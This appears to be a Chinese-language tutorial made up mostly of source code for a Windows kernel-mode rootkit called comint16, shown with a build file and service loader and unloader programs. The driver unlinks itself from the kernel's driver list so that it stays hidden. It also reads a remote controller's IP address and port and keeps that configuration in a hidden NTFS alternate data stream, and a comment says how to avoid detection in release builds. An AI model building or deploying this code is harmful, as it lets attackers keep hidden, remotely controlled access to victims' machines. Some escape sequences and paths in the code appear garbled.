//Invisible.h:我们rootkit的头文件 #ifndef _INVISIBLE_H_ #define _INVISIBLE_H_ typedef BOOLEAN BOOL; typedef unsigned long DWORD; typedef DWORD* PDWORD; typedef unsigned long ULONG; typedef unsigned short WORD; typedef unsigned char BYTE; typedef struct _DRIVER_DATA { LIST_ENTRY listEntry; DWORD unknown1; DWORD unknown2; DWORD unknown3; DWORD unknown4; DWORD unknown5; DWORD unknown6; DWORD unknown7; UNICODE_STRING path; UNICODE_STRING name; } DRIVER_DATA; #endif |
// Invisible #include "ntddk.h" #include "Invisible.h" #include "fileManager.h" #include "configManager.h" // 全局变量 ULONG majorVersion; ULONG minorVersion; //当进行free build时,将其注释掉,以防被检测到 VOID OnUnload( IN PDRIVER_OBJECT pDriverObject ) { DbgPrint("comint16: OnUnload called."); } NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath ) { DRIVER_DATA* driverData; //取得操作系统的版本 PsGetVersion( &majorVersion, &minorVersion, NULL, NULL ); // Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95 // Major = 5: Windows Server 2003, Windows XP 或 Windows 2000 // Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95 // Minor = 1: Windows XP // Minor = 2: Windows Server 2003 if ( majorVersion == 5 && minorVersion == 2 ) { DbgPrint("comint16: Running on Windows 2003"); } else if ( majorVersion == 5 && minorVersion == 1 ) { DbgPrint("comint16: Running on Windows XP"); } else if ( majorVersion == 5 && minorVersion == 0 ) { DbgPrint("comint16: Running on Windows 2000"); } else if ( majorVersion == 4 && minorVersion == 0 ) { DbgPrint("comint16: Running on Windows NT 4.0"); } else { DbgPrint("comint16: Running on unknown system"); } // 隐藏该驱动程序 driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20)); if( driverData != NULL ) { // 将本驱动程序的相应目录项从项驱动程序目录中拆下来 *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink; driverData->listEntry.Flink->Blink = driverData->listEntry.Blink; } // 允许卸载本驱动程序 pDriverObject->DriverUnload = OnUnload; // 为本Rootkit的控制器配置连接 if( !NT_SUCCESS( Configure() ) ) { DbgPrint("comint16: Could not configure remote connection./n"); return STATUS_UNSUCCESSFUL; } return STATUS_SUCCESS; } |
// 隐藏该驱动程序 driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20)); if( driverData != NULL ) { // 将本驱动程序的相应目录项从项驱动程序目录中拆下来 *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink; driverData->listEntry.Flink->Blink = driverData->listEntry.Blink; } |
498)this.style.width=498;" border=0> |
图1 修改前的驱动程序链表
|
498)this.style.width=498;" border=0> |
图2 修改后的驱动程序链表
|
// configManager.h // 配置管理器的头文件 #ifndef _CONFIG_MANAGER_H_ #define _CONFIG_MANAGER_H_ Char masterPort[10]; Char masterAddress1[4]; Char masterAddress2[4]; Char masterAddress3[4]; Char masterAddress4[4]; NTSTATUS Configure(); #endif |
// configManager.c // 首先从c:/config16寻找配置文件 // If it's there, save as MASTER_FILE:config16 and delete c:/config16 // If it's not there, try MASTER_FILE:configFile // If that doesn't exist, quit! #include "ntddk.h" #include "fileManager.h" #include "configManager.h" // Set the controllers IP and port NTSTATUS Configure() { CHAR data[21]; SHORT vis = 0; SHORT loop; SHORT dataIndex; SHORT addressIndex; ULONG fileSize; PHANDLE fileHandle; //了解读哪个文件 if( NT_SUCCESS( GetFile( L"//??//C://config16", data, 21, &fileSize ) ) ) { DbgPrint("comint16: Reading config from visible file."); vis = 1; } else { if( NT_SUCCESS( GetFile( L"config16", data, 21, &fileSize ) ) ) { DbgPrint("comint16: Reading config from hidden file."); } else { DbgPrint("comint16: Error. Could not find a config file."); return STATUS_UNSUCCESSFUL; } } //将控制端地址和端口转换成aaa.bbb.ccc.ddd:eeeee格式 dataIndex = 0; addressIndex = 0; // First 3 are xxx of xxx.111.111.111:11111 for( loop = 0; loop < 3; loop++ ) masterAddress1[addressIndex++] = data[dataIndex++]; masterAddress1[addressIndex] = 0; addressIndex = 0; //复位 dataIndex++; //跳过点号“.” //接下来是111.xxx.111.111:11111中的xxx for( loop = 0; loop < 3; loop++ ) masterAddress2[addressIndex++] = data[dataIndex++]; masterAddress2[addressIndex] = 0; addressIndex = 0; //复位 dataIndex++; //跳过点号“.” //然后处理111.111.xxx.111:11111中的xxx for( loop = 0; loop < 3; loop++ ) masterAddress3[addressIndex++] = data[dataIndex++]; masterAddress3[addressIndex] = 0; addressIndex = 0; //复位 dataIndex++; //跳过点号“.” //然后处理111.111.111.xxx:11111中的xxx for( loop = 0; loop < 3; loop++ ) masterAddress4[addressIndex++] = data[dataIndex++]; masterAddress4[addressIndex] = 0; addressIndex = 0; //复位 dataIndex++; //跳过冒号“:” //接下来的五位数是111.111.111.111:xxxxx中的端口号xxxxx for( loop = 0; loop < 5; loop++ ) masterPort[addressIndex++] = data[dataIndex++]; masterPort[addressIndex] = 0; DbgPrint( "comint16: Using %s.%s.%s.%s:%s", masterAddress1, masterAddress2, masterAddress3, masterAddress4, masterPort); if( vis == 1 ) { DbgPrint("comint16: Saving config to hidden file."); PutFile( L"config16", data, fileSize ); DbgPrint("comint16: You may delete the visible file."); } return STATUS_SUCCESS; } |
notepad test.txt:alternate.txt |
XXX.XXX.XXX.XXX:YYYYY |
//fileManager.h #ifndef _FILE_MANAGER_H_ #define _FILE_MANAGER_H_ //尽管微软的文档没有提及,但是NTFS-ADS还能用于目录。 //为了防止rootkit被一网打尽,黑客通常不会一个目录用到底,而是打一枪换一个地方 #define MASTER_FILE L"//??//C://WINDOWS//Resources" NTSTATUS GetFile( WCHAR* filename, CHAR* buffer, ULONG buffersize, PULONG fileSizePtr ); NTSTATUS PutFile( WCHAR* filename, CHAR* buffer, ULONG buffersize ); #endif |
// fileManager.c // 向MASTER_FILE存放交换数据流或者从MASTER_FILE取出交换数据流时,无需路径 // 与之相反,向可见的文件系统存放交换数据流或者从可见的文件系统取出交换数据 流时,需用绝对路径 #include "ntddk.h" #include #include "fileManager.h" #include "Invisible.h" NTSTATUS GetFile( WCHAR* filename, CHAR* buffer, ULONG buffersize, PULONG fileSizePtr ) { NTSTATUS rc; WCHAR ADSName[256]; HANDLE hStream; OBJECT_ATTRIBUTES ObjectAttr; UNICODE_STRING FileName; IO_STATUS_BLOCK ioStatusBlock; CHAR string[256]; // 设置文件尺寸 *fileSizePtr = 0; // 如果不是绝对路径,从NTFS-ADS中读 if( wcschr( filename, '//' ) == NULL ) _snwprintf( ADSName, 255, L"%s:%s", MASTER_FILE, filename ); else wcscpy( ADSName, filename ); RtlInitUnicodeString( &FileName, ADSName ); InitializeObjectAttributes( &ObjectAttr, &FileName, OBJ_CASE_INSENSITIVE, NULL, NULL); rc = ZwOpenFile( &hStream, SYNCHRONIZE | GENERIC_ALL, &ObjectAttr, &ioStatusBlock, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT ); if ( rc != STATUS_SUCCESS ) { DbgPrint( "comint16: GetFile() ZwOpenFile() failed./n" ); _snprintf( string, 255, "comint16: rc = %0x, status = %0x/n", rc, ioStatusBlock.Status ); DbgPrint( string ); return( STATUS_UNSUCCESSFUL ); } rc = ZwReadFile( hStream, NULL, NULL, NULL, &ioStatusBlock, buffer, buffersize, NULL, NULL ); if ( rc != STATUS_SUCCESS ) { DbgPrint( "comint16: GetFile() ZwReadFile() failed./n" ); _snprintf( string, 255, "comint16: rc = %0x, status = %0x/n", rc, ioStatusBlock.Status ); DbgPrint( string ); return( STATUS_UNSUCCESSFUL ); } //成功读取后,返回读取的字节数量 *fileSizePtr = ioStatusBlock.Information; ZwClose( hStream ); return( STATUS_SUCCESS ); } NTSTATUS PutFile( WCHAR* filename, CHAR* buffer, ULONG buffersize ) { NTSTATUS rc; WCHAR ADSName[256]; HANDLE hStream; OBJECT_ATTRIBUTES ObjectAttr; UNICODE_STRING FileName; IO_STATUS_BLOCK ioStatusBlock; CHAR string[256]; //如果不是绝对路径,交给NTFS-ADS if( wcschr( filename, '//' ) == NULL ) _snwprintf( ADSName, 255, L"%s:%s", MASTER_FILE, filename ); else wcscpy( ADSName, filename ); RtlInitUnicodeString( &FileName, ADSName ); InitializeObjectAttributes( &ObjectAttr, &FileName, OBJ_CASE_INSENSITIVE, NULL, NULL); rc = ZwCreateFile( &hStream, SYNCHRONIZE | GENERIC_ALL, &ObjectAttr, &ioStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if ( rc != STATUS_SUCCESS ) { DbgPrint( "comint16: PutFile() ZwCreateFile() failed./n" ); _snprintf( string, 255, "comint16: rc = %0x, status = %0x/n", rc, ioStatusBlock.Status ); DbgPrint( string ); return( STATUS_UNSUCCESSFUL ); } rc = ZwWriteFile( hStream, NULL, NULL, NULL, &ioStatusBlock, buffer, buffersize, NULL, NULL ); if ( rc != STATUS_SUCCESS ) { DbgPrint( "comint16: PutFile() ZwWriteFile() failed./n" ); _snprintf( string, 255, "comint16: rc = %0x, status = %0x/n", rc, ioStatusBlock.Status ); DbgPrint( string ); ZwClose( hStream ); return( STATUS_UNSUCCESSFUL ); } ZwClose( hStream ); return( STATUS_SUCCESS ); } |
TARGETNAME=comint16 TARGETPATH=OBJ TARGETTYPE=DRIVER SOURCES=Invisible.c/ fileManager.c/ configManager.c |
# #千万别改它! # !INCLUDE $(NTMAKEENV)/makefile.def |
//SCMLoader.c //本程序用于加载c:/comint16.sys #include #include #include void main( int argc, char *argv[ ] ) { SC_HANDLE sh1; SC_HANDLE sh2; sh1 = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS ); if ( !sh1 ) { printf( "OpenSCManager Failed!/n" ); return; } sh2 = CreateService( sh1, "MyDeviceDriver", "MyDeviceDriver", SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, "c://comint16.sys", NULL, NULL, NULL, NULL, NULL ); if ( !sh2 ) { if ( GetLastError() == ERROR_SERVICE_EXISTS ) printf("DeviceDriver already loaded!/n"); else printf("CreateService Failed!/n"); } else { printf("/nDriver loaded!/n"); } } |
cl -nologo -W3 -O2 SCMLoader.c /link /NOLOGO user32.lib advapi32.lib |
//SCMUnloader.c //本程序用于卸载c:/comint16.sys #include #include #include void main( int argc, char *argv[ ] ) { SC_HANDLE sh1; SC_HANDLE sh2; SERVICE_STATUS ss; sh1 = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS ); if ( !sh1 ) { printf( "OpenSCManager Failed!/n" ); return; } sh2 = OpenService(sh1, "MyDeviceDriver", SERVICE_ALL_ACCESS ); if ( !sh2 ) { printf("OpenService Failed!/n"); CloseServiceHandle( sh1 ); exit(1); } ControlService( sh2, SERVICE_CONTROL_STOP, &ss ); if ( !DeleteService( sh2 ) ) printf("Could not unload MyDeviceDriver!/n"); else printf("Unloaded MyDeviceDriver./n"); CloseServiceHandle( sh2 ); CloseServiceHandle( sh1 ); } |